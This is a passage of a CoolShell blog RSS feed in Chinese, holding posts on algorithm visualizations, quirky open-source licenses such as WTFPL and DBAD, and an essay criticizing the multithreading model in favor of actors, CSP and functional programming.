href=\"http://www.cs.usfca.edu/~galles/visualization/RadixSort.html\">Radix Sort</a> 基数排序</li>\n</ul>\n<h4>堆数据结构</h4>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/Heap.html\">Heaps</a> 堆</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BinomialQueue.html\">Binomial Queues</a> 二项队列</li>\n</ul>\n<h4>图 算法</h4>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BFS.html\">Breadth-First Search</a> 广度优先搜索</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/DFS.html\">Depth-First Search</a> 深度优先搜索</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/ConnectedComponent.html\">Connected Components</a> 连通性</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/Dijkstra.html\">Dijkstra&#8217;s Shortest Path</a> Dijkstra最短路径</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/Prim.html\">Prim&#8217;s Minimum Cost Spanning Tree</a> 最小生成树</li>\n<li>Topological Sort  拓扑排序 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/flash.html\">flash</a> 版本演示  <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版本演示)</li>\n<li>Floyd-Warshall 算法(解决任意两点间的最短路径的一种算法) (<a href=\"http://www.cs.usfca.edu/~galles/visualization/flash.html\">flash</a> 版本演示 <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版本演示)</li>\n<li>基于<em>Kruskal</em>算法的最小生成树的构建 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/flash.html\">flash</a> 版本演示 <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版本演示)</li>\n</ul>\n<h4>动态编程</h4>\n<ul>\n<li>计算 Fibonacci 数 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版本演示)</li>\n</ul>\n<h4>其它&#8230;</h4>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/DisjointSets.html\">Disjoint Sets</a> （MIT算法公开课中有一课讨论的是这个，见<a href=\"http://v.163.com/movie/2010/12/V/E/M6UTT5U0I_M6V2UDUVE.html\" target=\"_blank\">网易公开课</a>）</li>\n<li>Huffman Coding 哈夫曼编码 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版本演示)</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"一些有意思的算法代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_title\">一些有意思的算法代码</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"可视化的排序过程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_title\">可视化的排序过程</a></li><li ><a href=\"https://coolshell.cn/articles/2583.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些重要的算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2583.html\" class=\"wp_rp_title\">一些重要的算法</a></li><li ><a href=\"https://coolshell.cn/articles/536.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/bubble-150x150.png\" alt=\"一个显示排序过程的Python脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/536.html\" class=\"wp_rp_title\">一个显示排序过程的Python脚本</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4671.html\">可视化的数据结构和算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4671.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>50</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>狗日的开源软件许可证</title>\n\t\t<link>https://coolshell.cn/articles/4657.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4657.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 04 May 2011 00:25:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[BSD]]></category>\n\t\t<category><![CDATA[DBAD]]></category>\n\t\t<category><![CDATA[GNU]]></category>\n\t\t<category><![CDATA[GPL]]></category>\n\t\t<category><![CDATA[MIT]]></category>\n\t\t<category><![CDATA[Programming]]></category>\n\t\t<category><![CDATA[WTFPL]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4657</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>你知道这个世上有多少种开源软件的许可证吗？GPL，BSD，MIT，Apache？GNU上有个网页，上面记录了几乎所有的开源软件的许可证，真TMD的多，有开源的，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4657.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4657.html\">狗日的开源软件许可证</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>你知道这个世上有多少种开源软件的许可证吗？GPL，BSD，MIT，Apache？GNU上有个网页，上面<a href=\"http://www.gnu.org/licenses/license-list.html\" target=\"_blank\">记录了几乎所有的开源软件的许可证</a>，真TMD的多，有开源的，有商用的，有软件的，有文档的，多得你都不想看了，天杀的，程序员们还真能鼓捣啊。不过，主流的也就几种——<a href=\"http://www.gnu.org/licenses/gpl.html\" target=\"_blank\">GPL</a><a href=\"https://coolshell.cn/wp-content/uploads/2011/05/OSS-License.jpg\"></a>、<a href=\"http://en.wikipedia.org/wiki/BSD_licenses\">BSD</a>、<a href=\"http://en.wikipedia.org/wiki/MIT_License\">MIT</a>、<a href=\"http://www.mozilla.org/MPL/\">Mozilla</a>、<a href=\"http://www.apache.org/licenses/LICENSE-2.0\">Apache</a>等等。</p>\n<p>那么，你知道怎么区别他们吧？怎么选择他们吗？这里有一张比较复杂的图，在调侃这些纷繁的许可证（我不翻译了，这个图属于是发泄不满）</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/05/OSS-License.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"OSS License\" src=\"https://coolshell.cn/wp-content/uploads/2011/05/OSS-License.jpg\" alt=\"\" width=\"567\" height=\"730\" /></a></p>\n<p>下面是另一个图，这个图<a href=\"http://pbagwl.com/post/5078147450/description-of-popular-software-licenses\" target=\"_blank\">来自这里</a><a href=\"https://coolshell.cn/wp-content/uploads/2011/05/Infographic-of-popular-software-licenses.jpg\"></a>，这个图并不恶搞，但其非常简单地说明了如何选择一个开源的许可证：</p>\n<p><span id=\"more-4657\"></span></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/05/Infographic-of-popular-software-licenses.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"Infographic of popular software licenses\" src=\"https://coolshell.cn/wp-content/uploads/2011/05/Infographic-of-popular-software-licenses.jpg\" alt=\"\" width=\"560\" height=\"446\" /></a></p>\n<p style=\"text-align: left;\">最后，正如<a title=\"BT雷人的程序语言（大全）\" href=\"https://coolshell.cn/articles/4458.html\" target=\"_blank\">那些BT雷人的程序语言</a>一样，我想介绍两个比较独特的开源软件许可证给你，以辉映本文的标题——</p>\n<h4 style=\"text-align: left;\">1、WTFPL</h4>\n<p style=\"text-align: left;\"><a href=\"http://sam.zoy.org/wtfpl/COPYING\" target=\"_blank\">WTFPL</a>全称 What The Fuck Public License，这个许可证单从名字上就那么NB了，其许可证如下，相当的短，完全的自由，你的开源软件有自信用这个许可证吗？</p>\n<pre>            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n                    Version 2, December 2004\n\n Copyright (C) 2004 Sam Hocevar &lt;sam@hocevar.net&gt;\n\n Everyone is permitted to copy and distribute verbatim or modified\n copies of this license document, and changing it is allowed as long\n as the name is changed.\n\n            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. You just DO WHAT THE FUCK YOU WANT TO.</pre>\n<p style=\"text-align: left;\">最后那句——You just DO WHAT THE FUCK YOU WANT TO 真是铿锵有力，怎么说怎么痛快，很有一种在看美国大片的感觉。这是我喜欢这个许可证的原因之一，即不限制你控制版权，也不限制你放弃版权！</p>\n<h4 style=\"text-align: left;\">2、DBAD</h4>\n<p style=\"text-align: left;\"><a href=\"https://github.com/SFEley/candy/blob/2f964916961a2dcccbb374cd389520ac2ac62226/LICENSE.markdown\" target=\"_blank\">DBAD</a>全称 Don&#8217;t Be A Dick，dick是什么我就不解释了，你自己查字典吧。这个许可证中定义了什么是dick，</p>\n<blockquote>\n<p style=\"text-align: left;\">A person who <em>does not</em> respect the time and energy that have been invested in the Project, ……. A Dick is nearly always selfish, but not necessarily with deliberate intent; some Dicks are merely thoughtless. ……</p>\n</blockquote>\n<p style=\"text-align: left;\">也就是项目中扯淡的人。这个许可证最NB的地方在于其不限制软件的版权，而是限制了软件开发中的人的行为。我真是太喜欢这个许可证了。（请参看其第四节Limitation ）</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3723.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"（麻省理工免费课程）计算机科学和编程导论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3723.html\" class=\"wp_rp_title\">（麻省理工免费课程）计算机科学和编程导论</a></li><li ><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" alt=\"Unix 50 年：Ken Thompson 的密码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_title\">Unix 50 年：Ken Thompson 的密码</a></li><li ><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" alt=\"50年前的登月程序和程序员有多硬核\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_title\">50年前的登月程序和程序员有多硬核</a></li><li ><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat-150x150.png\" alt=\"Go编程模式：修饰器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_title\">Go编程模式：修饰器</a></li><li ><a href=\"https://coolshell.cn/articles/17757.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" alt=\"如何重构“箭头型”代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17757.html\" class=\"wp_rp_title\">如何重构“箭头型”代码</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4657.html\">狗日的开源软件许可证</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4657.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>23</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>读书笔记：对线程模型的批评</title>\n\t\t<link>https://coolshell.cn/articles/4626.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4626.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Ian.sino]]></dc:creator>\n\t\t<pubDate>Tue, 03 May 2011 02:23:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<category><![CDATA[threading model]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4626</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>——感谢Ian.Sian投递本文—— 多线程模型是主流的并发编程模型。在过去几十年来，多线程模型一直是开发并发程序的有力工具。然而，它的历史并非总那么美好。19...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4626.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4626.html\">读书笔记：对线程模型的批评</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><span style=\"color: #cc0000;\"><strong>——感谢Ian.Sian投递本文——</strong></span></p>\n<p>多线程模型是主流的并发编程模型。在过去几十年来，多线程模型一直是开发并发程序的有力工具。然而，它的历史并非总那么美好。1997年，NASA 的“火星探路者”号在执行任务的途中遭遇了严重的时序异常（参见 &#8220;<a href=\"http://research.microsoft.com/en-us/um/people/mbj/mars_pathfinder/mars_pathfinder.html\" target=\"_blank\">What really happend on Mars</a>&#8220;，注目 follow-up 中的<a href=\"http://research.microsoft.com/en-us/um/people/mbj/mars_pathfinder/Authoritative_Account.html\" target=\"_blank\">现身说法</a>），无法发回探测数据。如果不是 NASA 远程刷新了程序，它的结局就只能是报废在火星上。这一切都是由程序中潜藏的一个优先级反转 bug 造成的。更早的例子还有80年代的一系列 <a title=\"Therac-25\" href=\"http://en.wikipedia.org/wiki/Therac-25\" target=\"_blank\">Therac-25</a> 型医用粒子加速器事故。在这些加速器释放出的过量辐射照射之下，数位病人死亡。事后调查显示，至少有一次发生事故的原因，是加速器的控制软件中，存在一个只能由特定操作序列引发的竞争条件 bug。你也许认为这些只是陈年往事，但是直到现在，即便是世界500强公司们高价买来的信息系统，也同样避免不了这些问题。这导致许多程序员认为线程是个潘多拉魔盒，对它采取能躲就躲的态度。然而近来计算机的发展使得躲猫猫的空间越来越小：随便从市场上淘一个CPU，它里面也有不止一个核心。未来的程序员只会有越来越多的机会接触到并发编程，而无法再独善其身了。</p>\n<p>加州大学伯克利分校教授，<a href=\"http://ptolemy.eecs.berkeley.edu/~eal/\" target=\"_blank\">爱德华 A. 李</a>在2006年做了一次题为<a href=\"http://www.eecs.berkeley.edu/Pubs/TechRpts/2006/EECS-2006-1.html\" target=\"_blank\">《线程的麻烦 (The Problem with Threads)》</a>的学术报告。在报告中他提到：看上去，多线程只是对核心语言的小小扩展，甚至可以以第三方库的形式存在。但实质上，多线程程序和原有的核心语言编写的程序已经完全不同了。其原因在于，由于多线程程序可能以任意的次序交错执行，程序再也无法像顺序执行时那样产生确定的结果。多线程程序容易编写(因为写的是顺序程序)，但是难分析，难调试，更容易出错。</p>\n<p>在我的想法中，产生问题的根源，是多线程模型作为对并发问题的一个抽象，是很不完善的。<span id=\"more-4626\"></span>抽象的实质是对问题的转换。我们可以把抽象应用于一个问题，把它转换成另一个（或许）更简单的问题来解决。解决了转换后的简单问题，就意味着解决了原有的困难问题。严格来说，一个抽象一定要保存原有问题的结构，同时去除无关细节。但是，由于我们生活的世界并没有什么东西是完全“严格”的，现实中使用的抽象有时会隐藏解决问题的关键细节，或者残留一些不该漏出来的东西。评价一个抽象的好坏，也就不止是看它能节省多少代码，和它的界面有多优美这么简单，同时还要看看在一个问题被抽象转换之后，留了下来的细节还能不能好好地解决它。</p>\n<p>我们可以从这个意义上理解为什么线程模型是个很糟糕的抽象。一方面，对解决问题很关键的细节（如执行次序）被隐藏起来并受到了粗暴的对待。另一方面，线程模型极力兼容顺序程序的设计思想也使得如共享变量这样的，与线程不兼容的细节依然残留在程序员们的视线之内。我们无力控制程序的执行次序，而我们程序的正确性却依赖于对共享变量的有序变更。可以说，线程提供给我们的抽象简直是千疮百孔。我们还能用它干活，只是因为我们手里还有加锁机制，而它可以部分地堵上线程模型的漏洞。讽刺的是，引入加锁机制解决问题的同时，又带来了新的问题，所以我们编写多线程程序总会遇上死锁，活锁，优先级反转……等等。</p>\n<p>同样作为并发编程问题的抽象，<a href=\"http://c2.com/cgi/wiki?ActorsModel\" target=\"_blank\">角色模型</a>（Actor Model） 比线程模型好就好在，它的资源分享不像线程模型那样通过共享变量来进行。角色模型中的资源分享只能通过特定的机制（消息传递）来进行。你在角色模型里依然可能犯错误，如你可能制造死锁，也有可能造成优先级反转。但是没有共享变量就意味着没有了竞争条件，所以绝大部分资源也用不着上锁了。这样一来，原先至关重要的细节变得不那么重要，问题就这么解决了。</p>\n<p>一般来说，在修复一个糟糕的抽象时，可以采取的策略分如下两类：</p>\n<ul>\n<li>把造成问题的那部分抽象拿掉，直接露出底层的细节</li>\n<li>换一个和底层兼容性更好的抽象模型</li>\n</ul>\n<p>以 <a href=\"http://en.wikipedia.org/wiki/MapReduce\" target=\"_blank\">MapReduce </a>为例，它在解决分布式计算问题时，采取的是第一类策略。与现时流行的做法相反，MapReduce 并不试图制造计算是在单一场所完成的假象(流行话讲叫“云计算”)，相反它需要程序员自己把问题拆分到集群中不同的机器上。同时，它却隐藏了大量其他细节。这种另类策略导致批评 MapReduce “<a href=\"http://databasecolumn.vertica.com/database-innovation/mapreduce-a-major-step-backwards/\" target=\"_blank\">太底层，不通用</a>” 的声音不绝于耳， 然而这正是 MapReduce 聪明的地方。它放弃面面俱到，集中精力于高效地解决一小类问题（这类问题与排序问题有类似的结构），同时对其他的问题故意视而不见。它的流行证明了这一策略的成功。</p>\n<p>角色模型，通信进程（<a href=\"http://en.wikipedia.org/wiki/Communicating_sequential_processes\" target=\"_blank\">Communicating Sequential Processes</a>, CSP），以及函数式编程（FP）在应对并发编程问题时不约而同地选择了第二类策略。它们采用了与并发兼容性更好的抽象。角色模型与通信进程从线程模型的问题中抹去了共享变量，纯粹 FP 则抹掉了“变量”的可变性。CSP 还可以降低程序执行次序的不确定性（因为在CSP中执行次序默认是确定的，不确定性必须在程序设计时显式声明）。由于这些努力，这几种模型都避免了落入线程模型的麻烦中，得到了对并发问题的更优美的解法。我们可以说，这些模型提供的抽象比线程模型的都要好。很遗憾的是，它们尽管优美，但却乏人问津。角色模型与通信进程目前不被任何主流操作系统原生支持（微软在 Windows 7 附带的新并行运行时 <a href=\"http://msdn.microsoft.com/en-us/library/dd504870.aspx\" target=\"_blank\">ConcRT </a>中加入了基于角色模型的 Asynchronous Agents Library，使得状况稍微改观了一点）。FP 的年岁几乎和计算机语言的历史一样古老， 但它的市场份额直到现在也小得可怜。</p>\n<p>也许一切都是因为线程模型表面上那迷惑人的简单性，以及墨菲定律的变体：布劳尔技术惯性定律（已经成功的技术在新的，更好的技术出现时也会赖着不走）。我们曾经接纳了一个有缺点的解决方案，而现在我们被捆绑在这个方案上了。我们为线程模型写了成百上千万行的代码，而现在这些代码的重量束缚住我们的手脚，使得我们无法前行。</p>\n<p>解决线程模型带来的问题的正确做法，是推广新的，更完善的模型。既然解决问题的阻碍同时来自于新技术的低认知度和现有代码的拖累，很自然地有两个方面的工作要做。一、使得新技术更容易被多数程序员使用，二、想办法让现有的代码和新技术兼容。</p>\n<p>在兼容老代码这一头，我们已经有了一些行动。微软在 Windows 7 中提供一个称为<a href=\"http://msdn.microsoft.com/en-us/library/dd627187%28v=vs.85%29.aspx\" target=\"_blank\">用户模式调度 </a>(UMS) 的功能。UMS 可以将内核模式的线程转换为用户模式线程，而应用程序可以自己提供一个 UMS 调度器来调度它们。这意味着，我们现在有机会重载掉系统调度器的默认行为，而根据应用自身的特点给出更合理的调度安排来。这个功能可以用在构造更容易使用的并发模型上，这样开发的模型可以与老代码兼容（但 UMS 有一个让人迷惑的限制：只能用在64bit 的Windows 7 版本上）。</p>\n<p>同样地，在推广新技术方面，现在也有了很多成果。除了角色模型外，事务性内存(这又是一种避免竞争条件，从而避免加锁的方法)正在研究中；CSP 已经有了数个实现（如由 Kent 大学开发，针对 Java 的 <a href=\"http://www.cs.kent.ac.uk/projects/ofa/jcsp/\" target=\"_blank\">JCSP</a>），同时还有针对 CSP 的模型检证工具；至于 FP，最近因为人们认为 Web 系统的建模可以在函数式编程范式中更好的表达，FP 正在唤起人们的注意。我们缺的只剩下新技术的成功应用范例（实际上，前面的技术并不是没有成功范例，我们缺的是经验能够大规模运用的范例 ），以及一支理解这些技术的程序员大军了。对于这后一条，我甚至想，既然多线程编程唯一&#8221;容易&#8221;的事情是写代码，何不做出一种工具来让程序员们可以用写顺序程序的思维来在这些新模型中编写程序呢？这样的工具会帮助程序员利用线性程序的思维来理解代码，但是同时又让人注意到自己的改动正在影响系统的哪一部分。如果新模型的代码变得好理解了，也许更多的人会使用它们。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4626.html\">读书笔记：对线程模型的批评</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4626.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>37</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Amazon的书为什么卖到了$2000万</title>\n\t\t<link>https://coolshell.cn/articles/4605.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4605.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 28 Apr 2011 04:41:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Amazon]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[eComm]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4605</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>最近，Amazon的新闻比较多，除了Amazon的云平台宕机外，还有一个被热炒的新闻是在Amazon的书店里，有一本书要买$23,698,655.93美元，相当...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4605.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a 